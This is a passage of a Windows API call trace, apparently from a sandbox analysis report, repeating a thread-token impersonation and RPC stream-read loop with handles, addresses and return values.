ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.991] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.991] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.991] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x29, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.991] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.992] GetCurrentThread () returned 0xfffffffffffffffe [0147.992] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.992] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.992] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.992] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x64, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.993] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.993] GetCurrentThread () returned 0xfffffffffffffffe [0147.993] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.993] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.993] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.993] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x35, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.994] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.995] GetCurrentThread () returned 0xfffffffffffffffe [0147.995] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.995] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.995] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.995] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x10, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.995] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.996] GetCurrentThread () returned 0xfffffffffffffffe [0147.996] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.996] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.996] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.996] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xca, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.996] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.997] GetCurrentThread () returned 0xfffffffffffffffe [0147.997] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.997] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.997] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.997] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x41, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.998] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.998] GetCurrentThread () returned 0xfffffffffffffffe [0147.998] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.999] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.999] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.999] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.999] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.999] GetCurrentThread () returned 0xfffffffffffffffe [0148.000] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.000] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.000] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.000] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x77, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.000] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.001] GetCurrentThread () returned 0xfffffffffffffffe [0148.001] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.001] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.001] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.001] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.001] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.001] GetCurrentThread () returned 0xfffffffffffffffe [0148.002] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.002] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.002] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.002] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x16, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.002] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.002] GetCurrentThread () returned 0xfffffffffffffffe [0148.003] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.003] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.003] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.003] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.003] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.004] GetCurrentThread () returned 0xfffffffffffffffe [0148.004] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.004] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.004] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.004] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.004] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.005] GetCurrentThread () returned 0xfffffffffffffffe [0148.005] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.005] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.005] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.005] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.005] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.006] GetCurrentThread () returned 0xfffffffffffffffe [0148.006] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.006] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.006] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.006] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.007] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.007] GetCurrentThread () returned 0xfffffffffffffffe [0148.007] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.007] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.007] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.008] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.008] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.008] GetCurrentThread () returned 0xfffffffffffffffe [0148.008] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.009] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.009] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.009] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.009] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.009] GetCurrentThread () returned 0xfffffffffffffffe [0148.009] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.010] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.010] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.010] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.010] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.011] GetCurrentThread () returned 0xfffffffffffffffe [0148.011] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.011] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.011] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.011] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.011] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.012] GetCurrentThread () returned 0xfffffffffffffffe [0148.012] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.012] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.012] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.012] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.012] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.013] GetCurrentThread () returned 0xfffffffffffffffe [0148.013] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.013] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.013] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.013] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.013] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.014] GetCurrentThread () returned 0xfffffffffffffffe [0148.014] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.014] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.015] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.015] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xac, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.015] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.016] GetCurrentThread () returned 0xfffffffffffffffe [0148.016] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.016] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.016] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.016] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.017] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.018] GetCurrentThread () returned 0xfffffffffffffffe [0148.018] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.018] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.018] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.018] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x60, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.018] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.019] GetCurrentThread () returned 0xfffffffffffffffe [0148.019] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.019] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.019] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.019] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.019] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.022] GetCurrentThread () returned 0xfffffffffffffffe [0148.022] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.022] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.022] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.022] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x34, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.022] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.023] GetCurrentThread () returned 0xfffffffffffffffe [0148.023] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.023] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.023] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.023] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.023] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.024] GetCurrentThread () returned 0xfffffffffffffffe [0148.024] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.024] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.024] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.024] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.024] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.025] GetCurrentThread () returned 0xfffffffffffffffe [0148.025] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.025] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.025] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.025] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x49, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.025] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.026] GetCurrentThread () returned 0xfffffffffffffffe [0148.026] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.026] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.026] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.026] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.026] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.027] GetCurrentThread () returned 0xfffffffffffffffe [0148.027] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.027] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.027] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.027] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.027] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.028] GetCurrentThread () returned 0xfffffffffffffffe [0148.028] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.028] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.028] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.028] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.028] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.029] GetCurrentThread () returned 0xfffffffffffffffe [0148.029] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.029] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.029] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.029] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.029] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.030] GetCurrentThread () returned 0xfffffffffffffffe [0148.030] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.030] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.030] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.030] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.030] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.031] GetCurrentThread () returned 0xfffffffffffffffe [0148.031] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.031] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.032] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.032] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x76, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.032] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.033] GetCurrentThread () returned 0xfffffffffffffffe [0148.033] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.033] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.033] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.033] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.033] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.034] GetCurrentThread () returned 0xfffffffffffffffe [0148.034] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.034] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.034] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.034] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.034] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.035] GetCurrentThread () returned 0xfffffffffffffffe [0148.035] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.035] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.036] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.036] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x47, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.036] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.036] GetCurrentThread () returned 0xfffffffffffffffe [0148.036] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.037] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.037] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.037] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.037] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.038] GetCurrentThread () returned 0xfffffffffffffffe [0148.038] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.038] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.038] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.038] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x38, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.038] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.038] GetCurrentThread () returned 0xfffffffffffffffe [0148.038] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.038] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.039] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.039] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x56, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.039] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.039] GetCurrentThread () returned 0xfffffffffffffffe [0148.039] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.040] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.040] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.040] ISequentialStream:RemoteRead (in: This=0x32e790, 